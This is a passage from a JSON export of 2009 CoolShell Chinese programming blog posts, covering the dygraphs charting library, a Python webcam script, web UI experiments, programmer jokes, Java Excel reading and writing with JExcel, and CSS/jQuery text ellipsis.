    "content": "---\nlayout: post\ntitle: Javascript 曲线表作图库\ndate: 2009/12/11/ 5:44:45\nupdated: 2009/12/11/ 5:44:45\nstatus: publish\npublished: true\ntype: post\n---\n\n[dygraphs](http://www.danvk.org/dygraphs/) 是一个开源的Javascript库，它可以产生一个可交互式的，可缩放的的曲线表。其可以用来显示大密度的数据集（比如股票，气温，等等），并且可以让用户来浏览和解释这个曲线图。在它的主页（<http://www.danvk.org/dygraphs/>），你可以看到一些示例和用法。\n\n\n[![dygraphs Javascript 曲线图库](../wp-content/uploads/2009/12/dygraphs.jpg \"dygraphs Javascript 曲线图库\")](https://coolshell.cn/wp-content/uploads/2009/12/dygraphs.jpg)\n\n\n要使用这个库，很简单，只需要包括`[dygraph-combined.js](http://github.com/danvk/dygraphs/downloads/)`文件，其文件尺寸很经济，也就45K。\n\n\n\n```\n<script type=\"text/javascript\"\n  src=\"dygraph-combined.js\"></script>\n```\n\n下面两个示例，你可以把数据写在javascript中，也可以设置一个csv文件。\n\n\n\n**示例一，你可以在代码中指定数据**\n\n\n\n```\n\n<div id=\"graphdiv\"></div>\n<script type=\"text/javascript\">\n  g = new Dygraph(\n\n    // containing div\n    document.getElementById(\"graphdiv\"),\n\n    // CSV or path to a CSV file.\n    \"Date,Temperature\\n\" +\n    \"2008-05-07,75\\n\" +\n    \"2008-05-08,70\\n\" +\n    \"2008-05-09,80\\n\"\n\n  );\n</script>\n\n```\n\n**示例二、你可以引入外部的CSV文件**。(`[temperatures.csv](https://coolshell.cn/wp-admin/temperatures.csv))`\n\n\n\n```\n<div id=\"graphdiv2\"\n  style=\"width:500px; height:300px;\"></div>\n<script type=\"text/javascript\">\n  g2 = new Dygraph(\n    document.getElementById(\"graphdiv2\"),\n    \"temperatures.csv\", // path to CSV file\n    {}          // options\n  );\n</script>\n```\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [Javascript 曲线表作图库](https://coolshell.cn/articles/1924.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-11 如何使用Python操作摄像头.md",
    "content": "---\nlayout: post\ntitle: 如何使用Python操作摄像头\ndate: 2009/12/11/ 6:10:30\nupdated: 2009/12/11/ 6:10:30\nstatus: publish\npublished: true\ntype: post\n---\n\n用过USB摄像头的都知道，你需要使用鼠标来操作它，比如截个图，录个像什么的，要点N次鼠标，对于我们那些不喜欢多次点击鼠标的人来说，这是一件很boring的事情，所以，本文将教你如何使用Python来操作摄像头。\n\n\n这里，我们需要三个Python库： [VideoCapture](http://videocapture.sourceforge.net/)， [PIL](http://www.pythonware.com/products/pil/)  和 [pygame](http://www.pygame.org/)。使用这三个库你可以非常容易的编写一个摄像头程序。之所以使用pygame，其目的就是因为这个库可以处理视频帧（fps）。下面是代码：\n\n\n\n```\nfrom VideoCapture import Device\nimport ImageDraw, sys, pygame, time\nfrom pygame.locals import *\nfrom PIL import ImageEnhance\n\nres = (640,480)\npygame.init()\ncam = Device()\ncam.setResolution(res[0],res[1])\nscreen = pygame.display.set_mode((640,480))\npygame.display.set_caption('Webcam')\npygame.font.init()\nfont = pygame.font.SysFont(\"Courier\",11)\n\ndef disp(phrase,loc):\n    s = font.render(phrase, True, (200,200,200))\n    sh = font.render(phrase, True, (50,50,50))\n    screen.blit(sh, (loc[0]+1,loc[1]+1))\n    screen.blit(s, loc)\n\nbrightness = 1.0\ncontrast = 1.0\nshots = 0\n\nwhile 1:\n    camshot = ImageEnhance.Brightness(cam.getImage()).enhance(brightness)\n    camshot = ImageEnhance.Contrast(camshot).enhance(contrast)\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT: sys.exit()\n    keyinput = pygame.key.get_pressed()\n    if keyinput[K_1]: brightness -= .1\n    if keyinput[K_2]: brightness += .1\n    if keyinput[K_3]: contrast -= .1\n    if keyinput[K_4]: contrast += .1\n    if keyinput[K_q]: cam.displayCapturePinProperties()\n    if keyinput[K_w]: cam.displayCaptureFilterProperties()\n    if keyinput[K_s]:\n        filename = str(time.time()) + \".jpg\"\n        cam.saveSnapshot(filename, quality=80, timestamp=0)\n        shots += 1\n    camshot = pygame.image.frombuffer(camshot.tostring(), res, \"RGB\")\n    screen.blit(camshot, (0,0))\n    disp(\"S:\" + str(shots), (10,4))\n    disp(\"B:\" + str(brightness), (10,16))\n    disp(\"C:\" + str(contrast), (10,28))\n    pygame.display.flip()\n```\n\n这段代码中的一些要点的解释如下：\n\n\n\n* 第15行的那个函数是在视频上显示些信息。这个例子中，显示的是抓图的数量以及当前的亮度和对比度。这个函数先显示深灰色的文本，然后偏移几个像素，再显示浅灰色的，这样可以有阴影的效果。\n* 第26行是在调整亮度和对比度。30-33行是在设置数字键1-4用于调整亮度和对比度。\n* 34 和35行是在设置 ‘q’ 和 ‘w’ 来显示摄像头的对话框。在那里你可以调整分辨率和暴光度等等。\n* 36行及以下的代码，是在存一个抓图文件。文件名中使用了当前时间。.\n\n\n希望这个小程序能给你开启一个如何写摄像头的程序。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4710.html)[Python 和 PyGame 的一些示例](https://coolshell.cn/articles/4710.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\nThe post [如何使用Python操作摄像头](https://coolshell.cn/articles/1928.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-14 哥是玩程序的.md",
    "content": "---\nlayout: post\ntitle: 哥是玩程序的\ndate: 2009/12/14/ 0:35:31\nupdated: 2009/12/14/ 0:35:31\nstatus: publish\npublished: true\ntype: post\n---\n\n下面一组有趣的Web示例，这些示例使用Web的一些很“土”控件做出一些很有趣的玩意儿。原来，编程是可以用来玩的，看看这些玩程序的人搞出的这些有意思的玩意，简直是玩得太有意思了。不过，请注意，这些东西只能使用Chrome打开，不然，你看不到相关的效果。\n\n\n**用滚动条做的时间**\n\n\n<http://toki-woki.net/p/scroll-clock/>，下面的抓图只显示了时和分，后面还有不停跳动的秒。可以在IE，Fireforx和Chrome中查看。\n\n\n![用滚动条做的时间](../wp-content/uploads/2009/12/scroll_timer-300x162.jpg \"用滚动条做的时间\")\n\n\n**用CheckBox做成一个水滴效果**\n\n\n<http://the389.com/works/drops/>，这个示例的整个页面由Checkbox构成，你用鼠标点一下其中一个CheckBox，你会看到一个巨大的水滴滴了下去。Chrome中效果更好。\n\n\n![用checkbox做的雨滴效果](../wp-content/uploads/2009/12/rain_drop.jpg \"用checkbox做的雨滴效果\")\n\n\n\n**一个用滚动条做的扭动效果**\n\n\n<http://the389.com/works/shake/>，页面打开你可以看到一排滚动条，用鼠标快速地横向滑动，你会看到滚动条开始跟着你的鼠标扭动。太BT了。请使用Chrome查看。\n\n\n![一个可以扭曲的滚动条](../wp-content/uploads/2009/12/shake-300x255.jpg \"一个可以扭曲的滚动条\")\n\n\n**用CheckBox做的一个音阶**\n\n\n<http://the389.com/works/tenori/>，这个效果还是只能用Chrome查看。随机地点一下其中的Checkbox，于是程序会根据你所点的顺序开始演奏一些“滴滴嘟嘟”的声音，很有意思。\n\n\n![用CheckBox作的音阶](../wp-content/uploads/2009/12/tenori-274x300.jpg \"用CheckBox作的音阶\")\n\n\n**用滚动条做的一个波浪效果**\n\n\n<http://the389.com/works/scrollbars/>，还是用鼠标触发，把鼠标放在这一排滚动条中上下移动，你会发现滚动条会跟着你的鼠标形成波浪的效果。还是只能在Chrome中查看。\n\n\n[![用滚动条做的波形](../wp-content/uploads/2009/12/wave-300x194.jpg \"用滚动条做的波形\")](http://toki-woki.net/p/scroll-clock/)\n\n\nthe389.com这个网站成了这些乱七八糟的小玩意的试验地，上面还有其它一些这些类似的小玩意。呵呵，不要迷恋哥，哥只是玩程序。\n\n\n另外，在Chrome的试验田，你还可以看到很多这样的东西，甚至更弦的东西。只不过，Chrome试验田的那些小玩意看着不够“土”，所以效果不够好。呵呵。  \n\n<http://www.chromeexperiments.com/>\n\n\n(全文完)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Javascript 装载和执行](../wp-content/uploads/2013/06/javascript-150x150.jpg)](https://coolshell.cn/articles/9749.html)[Javascript 装载和执行](https://coolshell.cn/articles/9749.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\nThe post [哥是玩程序的](https://coolshell.cn/articles/1932.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-14 程序员的相关笑话（二）.md",
    "content": "---\nlayout: post\ntitle: 程序员的相关笑话（二）\ndate: 2009/12/14/ 4:10:44\nupdated: 2009/12/14/ 4:10:44\nstatus: publish\npublished: true\ntype: post\n---\n\n前面发表过《[程序员的相关笑话（一）](https://coolshell.cn/?p=1903 \"程序员的相关笑话（一）\")》现在继续一些相关的笑话。\n\n\n#### 牧羊人与IT顾问\n\n\n从前，有一个牧羊人，他有很多的羊。一天他赶着他的那群羊到了一条公路边上。突然，有一辆保时洁急驶过来，上面坐着一个年轻人人，穿着Armani的衣服，和Cerutti的皮鞋，Ray-Ban的太阳眼镜，TAG-Heuer的手表，以前Versace的领带。\n\n\n他走到牧羊人面前问牧羊人：“如果我能说出你有多少只羊，你能给我一只吗？”\n\n\n牧羊人看了看他那一大群数都数不过来的羊，说：“可以！”。\n\n\n那个年轻人，于是打开了他的笔记本电脑，接上手机，进入了NASA Webster，通过GPS定位，开始扫描。然后打了40多页充满各位对数微积分的公式的Excel表格，最后通过他的那个高科技迷你打印机打出了150多页的分析报告，然后，他看了看报告，走到牧羊人前说：“你一共有1586只羊！”\n\n\n牧羊人拍手道：“牛啊，你说的一点也没错，你挑一只吧”。\n\n\n于是，那个年轻人挑了一只，并准备从他的保时捷中拿出一些文档给牧羊人，这时，牧羊人说：“如果我能猜出你是干什么的，我能不能要回我的那只羊？”\n\n\n年轻人说：“为什么不呢？”\n\n\n牧羊人说：“你是一个IT咨询顾问”\n\n\n年轻人说：“你是怎么知道的？”\n\n\n牧羊人说：“很简单。首先，我并没有叫你，你就来了。然后，你开始用一些我已经知道的东西向我收费。第三，你根本就不了解我的业务……，所以，现在请你把我的牧羊狗还给我。”\n\n\n\n#### 程序员睡觉\n\n\n一个标准的程序员在睡觉时候都会准备两个杯子，一个是空的，一个装满了水。装满水的杯子为的是可能自己的睡觉的过程中会口渴，空白杯子只是为了在睡觉的时候不口渴。\n\n\n#### 一个程序出错信息\n\n\nKeyboard not found … press F1 to continue\n\n\n#### 为什么程序员喜欢UNIX\n\n\nunzip, strip, touch, finger, grep, mount, fsck, more, yes, fsck, fsck, fsck, umount, sleep\n\n\n（**说明**：unzip：拉开拉链；strip：脱掉衣服；touch：抚摸；finger：手指；grep：摸索；mount：骑上去；fsck：fxxk；more：更多；yes：爽；umount：下来；sleep：睡觉）\n\n\n#### Google递归关键字\n\n\n<http://www.google.com/search?hl=en&q=recursion>\n\n\n#### 一句话幽默\n\n\nC++是一个很好的编译语言，因为你的parent（父母）不能访问你的private（隐私），但是你的friend（朋友）可以。\n\n\n这个世界上，最佳的UI设计是“乳头”，除此之外，所有的UI都需要学习。\n\n\n我真的想让这个世界变得更好，但是他们不给我源代码。（RE：这个世界的源代码是COBOL或汇编）\n\n\n程序员是一种可以把香烟和咖啡变成代码的机器。\n\n\n有多少微软的工程师会换电灯泡？没有，他们会把黑暗变成一种标准，然后对你说，这就是设计行为。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/1903.html)[程序员的相关笑话（一）](https://coolshell.cn/articles/1903.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\nThe post [程序员的相关笑话（二）](https://coolshell.cn/articles/1941.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-15 Java读写Excel.md",
    "content": "---\nlayout: post\ntitle: Java读写Excel\ndate: 2009/12/15/ 1:36:21\nupdated: 2009/12/15/ 1:36:21\nstatus: publish\npublished: true\ntype: post\n---\n\n本文主要向你演示如何使用JavaExcel API来读写Excel文件。关于JavaExcel API，这是一个开源的lib库。其相关的feature如下：\n\n\n- 支持Excel 95, 97, 2000, XP, 2003 的制表页。\n\n- 可以读写相关的Excel公式 （仅支持Excel 97 及以后版本）\n\n- 可以生成 Excel 2000 格式的xls文件。\n\n- 支持字体，数字和日期格式。\n\n- 支持单元格的阴影，边框和颜色。\n\n- 可以修改已存在的制表页。\n\n- 国际化多语言集。(公式目前支持，英文，法文，西班牙文和德文）\n\n- 支持图表拷贝。\n\n- 支持图片的插入和复制。\n\n- 日志生成可以使用Jakarta Commons Logging, log4j, JDK 1.4 Logger, 等。\n\n- 更多……\n\n你可以在这里下载：<http://jexcelapi.sourceforge.net/>，然后，把jxl.jar加到你的Java的classpath中。\n\n\n下面是两段例程，一段是如何创建Excel，一段是如何读取Excel。\n\n\n\n**创建Excel**\n\n\n\n```\npackage writer;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.Locale;\n\nimport jxl.CellView;\nimport jxl.Workbook;\nimport jxl.WorkbookSettings;\nimport jxl.format.UnderlineStyle;\nimport jxl.write.Formula;\nimport jxl.write.Label;\nimport jxl.write.Number;\nimport jxl.write.WritableCellFormat;\nimport jxl.write.WritableFont;\nimport jxl.write.WritableSheet;\nimport jxl.write.WritableWorkbook;\nimport jxl.write.WriteException;\nimport jxl.write.biff.RowsExceededException;\n\n\npublic class WriteExcel {\n\n\tprivate WritableCellFormat timesBoldUnderline;\n\tprivate WritableCellFormat times;\n\tprivate String inputFile;\n\t\npublic void setOutputFile(String inputFile) {\n\tthis.inputFile = inputFile;\n\t}\n\n\tpublic void write() throws IOException, WriteException {\n\t\tFile file = new File(inputFile);\n\t\tWorkbookSettings wbSettings = new WorkbookSettings();\n\n\t\twbSettings.setLocale(new Locale(\"en\", \"EN\"));\n\n\t\tWritableWorkbook workbook = Workbook.createWorkbook(file, wbSettings);\n\t\tworkbook.createSheet(\"Report\", 0);\n\t\tWritableSheet excelSheet = workbook.getSheet(0);\n\t\tcreateLabel(excelSheet);\n\t\tcreateContent(excelSheet);\n\n\t\tworkbook.write();\n\t\tworkbook.close();\n\t}\n\n\tprivate void createLabel(WritableSheet sheet)\n\t\t\tthrows WriteException {\n\t\t// Lets create a times font\n\t\tWritableFont times10pt = new WritableFont(WritableFont.TIMES, 10);\n\t\t// Define the cell format\n\t\ttimes = new WritableCellFormat(times10pt);\n\t\t// Lets automatically wrap the cells\n\t\ttimes.setWrap(true);\n\n\t\t// Create create a bold font with unterlines\n\t\tWritableFont times10ptBoldUnderline = new WritableFont(\n\t\t\t\tWritableFont.TIMES, 10, WritableFont.BOLD, false,\n\t\t\t\tUnderlineStyle.SINGLE);\n\t\ttimesBoldUnderline = new WritableCellFormat(times10ptBoldUnderline);\n\t\t// Lets automatically wrap the cells\n\t\ttimesBoldUnderline.setWrap(true);\n\n\t\tCellView cv = new CellView();\n\t\tcv.setFormat(times);\n\t\tcv.setFormat(timesBoldUnderline);\n\t\tcv.setAutosize(true);\n\n\t\t// Write a few headers\n\t\taddCaption(sheet, 0, 0, \"Header 1\");\n\t\taddCaption(sheet, 1, 0, \"This is another header\");\n\t\t\n\n\t}\n\n\tprivate void createContent(WritableSheet sheet) throws WriteException,\n\t\t\tRowsExceededException {\n\t\t// Write a few number\n\t\tfor (int i = 1; i < 10; i++) {\n\t\t\t// First column\n\t\t\taddNumber(sheet, 0, i, i + 10);\n\t\t\t// Second column\n\t\t\taddNumber(sheet, 1, i, i * i);\n\t\t}\n\t\t// Lets calculate the sum of it\n\t\tStringBuffer buf = new StringBuffer();\n\t\tbuf.append(\"SUM(A2:A10)\");\n\t\tFormula f = new Formula(0, 10, buf.toString());\n\t\tsheet.addCell(f);\n\t\tbuf = new StringBuffer();\n\t\tbuf.append(\"SUM(B2:B10)\");\n\t\tf = new Formula(1, 10, buf.toString());\n\t\tsheet.addCell(f);\n\n\t\t// Now a bit of text\n\t\tfor (int i = 12; i < 20; i++) {\n\t\t\t// First column\n\t\t\taddLabel(sheet, 0, i, \"Boring text \" + i);\n\t\t\t// Second column\n\t\t\taddLabel(sheet, 1, i, \"Another text\");\n\t\t}\n\t}\n\n\tprivate void addCaption(WritableSheet sheet, int column, int row, String s)\n\t\t\tthrows RowsExceededException, WriteException {\n\t\tLabel label;\n\t\tlabel = new Label(column, row, s, timesBoldUnderline);\n\t\tsheet.addCell(label);\n\t}\n\n\tprivate void addNumber(WritableSheet sheet, int column, int row,\n\t\t\tInteger integer) throws WriteException, RowsExceededException {\n\t\tNumber number;\n\t\tnumber = new Number(column, row, integer, times);\n\t\tsheet.addCell(number);\n\t}\n\n\tprivate void addLabel(WritableSheet sheet, int column, int row, String s)\n\t\t\tthrows WriteException, RowsExceededException {\n\t\tLabel label;\n\t\tlabel = new Label(column, row, s, times);\n\t\tsheet.addCell(label);\n\t}\n\n\tpublic static void main(String[] args) throws WriteException, IOException {\n\t\tWriteExcel test = new WriteExcel();\n\t\ttest.setOutputFile(\"c:/temp/lars.xls\");\n\t\ttest.write();\n\t\tSystem.out\n\t\t\t\t.println(\"Please check the result file under c:/temp/lars.xls \");\n\t}\n}\n\n```\n\n\n**读取Excel**  \n\n \n\n\n\n```\npackage reader;\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport jxl.Cell;\nimport jxl.CellType;\nimport jxl.Sheet;\nimport jxl.Workbook;\nimport jxl.read.biff.BiffException;\n\npublic class ReadExcel {\n\n\tprivate String inputFile;\n\n\tpublic void setInputFile(String inputFile) {\n\t\tthis.inputFile = inputFile;\n\t}\n\n\tpublic void read() throws IOException  {\n\t\tFile inputWorkbook = new File(inputFile);\n\t\tWorkbook w;\n\t\ttry {\n\t\t\tw = Workbook.getWorkbook(inputWorkbook);\n\t\t\t// Get the first sheet\n\t\t\tSheet sheet = w.getSheet(0);\n\t\t\t// Loop over first 10 column and lines\n\n\t\t\tfor (int j = 0; j < sheet.getColumns(); j++) {\n\t\t\t\tfor (int i = 0; i < sheet.getRows(); i++) {\n\t\t\t\t\tCell cell = sheet.getCell(j, i);\n\t\t\t\t\tCellType type = cell.getType();\n\t\t\t\t\tif (cell.getType() == CellType.LABEL) {\n\t\t\t\t\t\tSystem.out.println(\"I got a label \"\n\t\t\t\t\t\t\t\t+ cell.getContents());\n\t\t\t\t\t}\n\n\t\t\t\t\tif (cell.getType() == CellType.NUMBER) {\n\t\t\t\t\t\tSystem.out.println(\"I got a number \"\n\t\t\t\t\t\t\t\t+ cell.getContents());\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (BiffException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) throws IOException {\n\t\tReadExcel test = new ReadExcel();\n\t\ttest.setInputFile(\"c:/temp/lars.xls\");\n\t\ttest.read();\n\t}\n\n}\n\n```\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [Java读写Excel](https://coolshell.cn/articles/1954.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-15 Web中的省略号.md",
    "content": "---\nlayout: post\ntitle: Web中的省略号\ndate: 2009/12/15/ 0:43:59\nupdated: 2009/12/15/ 0:43:59\nstatus: publish\npublished: true\ntype: post\n---\n\n在Web开发中，对于一种情况很常见。那就是，文本太长，而放置文本的容器不够长，而我们又不想让文本换行，所以，我们想使用省略号来解决这个问题。但是，在今天HTML的标准中并没有相关的标识或属性让你可以简单地完成这个事。但是我们可以使用CSS样式表来完成这个事，在IE，Safari，Chrome，Opera中都可以。但在Firefox中却不行，但我们可以使用jQuery来解决Firefox不兼容的问题。下面是相关的代码示例。\n\n\n**使用CSS设置省略号**\n\n\n\n```\n\noverflow: hidden;\ntext-overflow: ellipsis;\n-o-text-overflow: ellipsis;\nwhite-space: nowrap;\nwidth: 100%;\n\n```\n\n\n* **overflow** 属性是必需的，并且属性要是hidden。\n* **white-space: nowrap** 也是必需的。如果文本可以自动换行，就算是不可见，也不会有省略号的。因为文本换行了，所以没有超过容器的尺寸，所以也就不会有省略号了。\n* **width**属性仅在需要支持IE6时设置。 设置成100%仅是为了解决IE6的不兼容问题。（关于IE中的那些不兼容问题，你可以参看本站的《[9个最常见IE的Bug及其fix](https://coolshell.cn/articles/1817.html)》）\n* **text-overflow: ellipsis** 就是设置省略号了。目前还不是HTML的标准规范。其是由IE引入的，可以在IE6+，Safari 3.2+和Chrome上工作。\n* **-o-text-overflow: ellipsis** 是 Opera 支持的。可以在 Opera 9.0+使用。\n\n\n**使用jQuery设置省略号**\n\n\n正如前面所说过的，Firefox并不支持CSS中的那些省略号设置，因为那并不是标准的HTML规范。所以，我们需要使用jQuery的Javascript来干这个事。你可以下载由Devon Govett写的[jQuery 省略号插件](http://devongovett.wordpress.com/2009/04/06/text-overflow-ellipsis-for-firefox-via-jquery/)，于是，你可以简单的把”ellipsis”赋给某些元件或是CSS定义，如下所示：\n\n\n[javascript]$(document).ready(function() {  \n\n    $(‘.ellipsis’).ellipsis();  \n\n}[/javascript]\n\n\n或是\n\n\n[javascript]$(\"span\").ellipsis();[/javascript]\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\nThe post [Web中的省略号](https://coolshell.cn/articles/1949.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-15 Web程序的最佳测试数据.md",
